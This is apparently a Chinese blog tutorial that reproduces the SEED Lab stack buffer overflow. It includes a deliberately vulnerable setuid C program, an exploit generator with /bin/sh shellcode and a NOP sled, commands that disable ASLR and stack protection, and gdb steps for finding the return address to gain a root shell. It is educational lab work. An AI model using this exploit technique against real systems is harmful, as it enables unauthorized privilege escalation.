文章目录

  • 前言
  • 攻击准备
  • 攻击目标与原理
    • 漏洞程序
    • 攻击程序
  • 攻击步骤
    • 关闭现有安全机制
    • 以root身份编译漏洞程序
    • 确定`shellcode`在内存中位置
    • 执行攻击程序
  • 总结
  • 参考资料

前言

最近在研究stack overflow的复现,发现网上许多教程都偏老了,且许多关键步骤没有说明清楚,导致小白在一步步操作的时候经常出现无法正确获取shellcode的情况,本人也是历经诸多大坑,总算是成功复现了这一过程。下面是溢出成功后的效果图。

个中会涉及到参数在函数栈中的存储,栈的返回地址,帧指针,函数如何执行的过程,这部分不再赘述,自行查阅相关资料。

攻击准备

工欲善其事,必先利其器,由于stack overflow已经是上古时代的漏洞,在现行的许多操作系统发行版中已经做到了很好的保护机制,如果以这些系统作为攻击入口,小白无异以卵击石。因此,我们需要限制一下所用的操作系统,这里给出我使用的环境:

  • OS: ubuntu12.04,采用了SEED LAB实验室提供的环境,点击这里查看
  • 虚拟机软件:Vmware workstation 16

攻击目标与原理

  • 攻击目标是获取到操作系统的root权限
  • 攻击原理是目标程序存在的缓冲区溢出漏洞,构造特定的输入内容覆盖原始的返回地址,以执行相应的shellcode

漏洞程序

下面是漏洞程序(stack.c)的代码,它所做的主要工作是读取同目录下badfile文件的内容,并将其复制到函数的临时数组变量buffer[]中,但输入的内容大于buffer的容量时,就可能导致数据覆盖函数栈中的返回地址,而攻击者通过精心计算原返回地址的位置,将其替换成shellcode的地址,从而导致shellcode执行,获得root权限。

获取root权限的前提是漏洞程序通过root权限编译,赋予相应root权限

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

攻击程序

攻击程序(exploit.c)主要是用来生成指定的badfile,实现shellcode的注入,让漏洞程序能够精确执行。其中shellcode就是让程序执行/bin/sh的相应汇编代码,程序创建了一个buffer数组,用于存储shellcode,同时在shellcode前面用0x90(NOP指令,不做操作执行下一条指令)填充,这使得shellcode有多个入口点,增大执行概率。具体如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>char shellcode[]=
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer+24,"\x??\x??\x??\x??");  //这里从24填写,但是上面漏洞程序buffer只有12,我也没搞懂strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

攻击步骤

总体的攻击步骤包括:

  1. 关闭现有安全机制 关闭ASLR(内存地址随机化),用zsh替换sh
  2. root身份编译stack.c(漏洞程序)
  3. 确定shellcode在内存中的地址
  4. 执行攻击程序,漏洞程序,查看攻击效果

关闭现有安全机制

  • 关闭ASLR
    linux系统为了防止stack overflow,默认采用了ASLR(内存地址随机化),这导致我们无法确定shellcode在内存中的位置,为了简便需要关闭

    # 关闭方式1
    sudo sysctl -w kernel.randomize_va_space=0
    # 关闭方式2
    sudo  -s
    echo 0 > /proc/sys/kernel/randomize_va_space
    exit
    
  • zsh替换sh
    ubuntu12.04,ubuntu16.04中,/bin/sh实际上指向一个/bin/dash的链接文件,当其发现自己在一个特权程序中运行时,会将有效用户ID改成实际用户ID,让我们无法获得root权限。替换方式如下:

    sudo su
    cd /bin
    cp sh sh.bak  # 备份
    rm sh
    ln -s zsh sh
    

    还有一种替代解决方案是更改shellcode"\x68""//sh""\x68""/zsh"

以root身份编译漏洞程序

确保程序有root权限

sudo gcc -g -z execstack -fno-stack-protector -o stack stack.c
sudo chmod u+s stack

确定shellcode在内存中位置

注意shellcode本质是被放在badfile文件中,而漏洞程序读取badfile复制到buffer数组中,那么badfile的起始位置就是stack.cbuffer的起始位置,因此我们需要让shellcode的地址刚好被写在漏洞程序函数bof返回地址的位置。具体如下图:

gdk调试stack,反汇编main函数,如下:

gdb stack
disass main


注意红框处的操作,这是main函数执行后栈给局部变量留出的空间,然后我们查看str的地址,shellcode应该已经被放置在str数组中,距离100的位置。
随意找个地方设置断点,并运行,接着查看str的地址,并计算+100后的地址结果

b *0x080484af
r
p &str
p/x 0xbffff127+100

exploit.c中将\x?\x?\x?\x?的部分用0xbffff18b地址替换

执行攻击程序

对攻击程序编译并执行得到badfile,再执行./stack查看攻击效果。

发现指令非法,说明我们没有正确找到shellcode指令地址。

这个地方困扰了我很久,是个大坑,后来发现一篇文章中写到gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./stack的时候,buf的位置会固定在别的地址上。

即存放shellcode的地址相比原来会有偏差,因此尝试在找到的shellcode地址上进行偏移,这里我尝试了许多种,发现将8b换成ab是可行的。

再做一次攻击可发现获取到了root权限

说明shllcode实际执行相比于调试内存地址偏后了30多位,可以尝试将8b修改成更后面或附近的数值,如af,b4都是可行的。

总结

缓冲区溢出是十分古老却又经典的程序漏洞,许多更近一步的如return-to-libc,格式化字符串漏洞,都是基于此基础上做的进一步深入攻击,因此掌握最基础的stack overflow还是很有必要的。这个地方我参考了许多网上许多教程,它们大部分都是调试阶段直接获取到str或者esp地址后通过计算相对位置得到shellcode地址,但根据我的实际操作结果来看有较大出入,实践才是检验真理的唯一标准。参考资料里列举的都是与此实验相关的资料,供读者对比参考。

参考资料

  • SEED实验:缓冲区溢出漏洞实验__网络攻防实验
  • SEED:缓冲区溢出漏洞实验

【软件安全】缓冲区溢出攻击(stack overflow)实践相关推荐

  1. 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验

    缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...

  2. 计算机系统实验五:缓冲区溢出攻击

    参考教材:计算机系统基础 第二版 袁春风 机械工业出版社 参考慕课:计算机系统基础(四):编程与调试实践 https://www.icourse163.org/learn/NJU-1449521162 ...

  3. Win32的缓冲区溢出攻击(涉及用WinDbg分析 overflow函数的返回地址所在的地址与buffer首地址的距离 OFF_SET)

    Win32的缓冲区溢出攻击 一.学习过程 二.学习成果(求OFF_SET) 三.扩展阅读 一.学习过程 1.overflow函数的源代码 #include <stdio.h> #inclu ...

  4. java存在溢出攻击吗_缓冲区溢出攻击

    缓冲区溢出漏洞(Buffer Overflow)是最早被发现也是最基础的软件安全漏洞技术类型之一.缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以 ...

  5. 缓冲区溢出攻击初学者手册(更新版)

    译者:IDF_Lab 来源:缓冲区溢出攻击初学者手册(更新版) 说明 ‍‍之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意.由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文 ...

  6. 学习缓冲区溢出攻击的前提知识

    文章目录 目录 文章目录 前言 一.8086 内存结构 (8086 Memory Architecture) 二.8086 CPU寄存器结构 总结 前言 缓冲区溢出(Buffer overflow)攻 ...

  7. 【网络攻防技术】实验四——缓冲区溢出攻击实验

    文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...

  8. Linux下缓冲区溢出攻击的原理及对策

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  9. 划重点!关于缓冲区溢出攻击,这份防范策略一定要收好!

    一.缓冲区溢出攻击的基本概念 缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以导致程序运行失败.系统宕机.重新启动等后果.更为严重的是,可以利用它 ...

最新文章

  1. Python内部机制。
  2. C 语言编程 — 高级数据类型 — void 类型
  3. JAVA面试题(27)
  4. 我是怎么用机器学习技术找到女票的
  5. [html] 隐藏div内文字的方法有哪些?
  6. 震惊!垃圾分类居然能用Python搞定!
  7. 1.9 编程基础之顺序查找 03 不高兴的津津 scratch
  8. java native2ascii的用法介绍
  9. 用python做曲_谁在用 python 弹奏一曲《菊花台》
  10. JAVA计算机毕业设计中药分类管理系统Mybatis+源码+数据库+lw文档+系统+调试部署
  11. 和张哥的那些天,互联网人的潜规则
  12. 明天冬瓜哥与你见面畅谈!不用报名直接来!
  13. 【Python】| 基于Python实现对比Excel的小工具
  14. [ZJOI2015]醉熏熏的幻想乡
  15. C语言用双曲线函数拟合曲线,c语言绘制函数曲线
  16. 阿里的天蝎计划-迟到了N多年的 SI
  17. 如何解决在打开pip时遇到Fatal error in launcher: Unable to create process using 的问题
  18. 通过倾斜相机本身来增大固定距离内垂直方向测量距离的求解过程
  19. iphone 6s pp助手 越狱
  20. 三相功率板,测量三相电压电流,PCB,原理图和程序。STM32F030C8

热门文章

  1. 客户关系管理与CRM
  2. 路灯光电控制电路的设计
  3. 文兴小学四年级班规班纪
  4. 小程序canva手写板
  5. 计算机安全技术众包过滤器,空间众包中的安全任务分配研究
  6. 全球与中国孕妇维生素和补充剂市场深度研究分析报告
  7. 网球服装的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  8. 服务器t430装系统,联想t430重装系统图文教程
  9. 6.1.1、模块定义module,endmodule,include,library
  10. 敬伟PS教程:掌握篇B05混合模式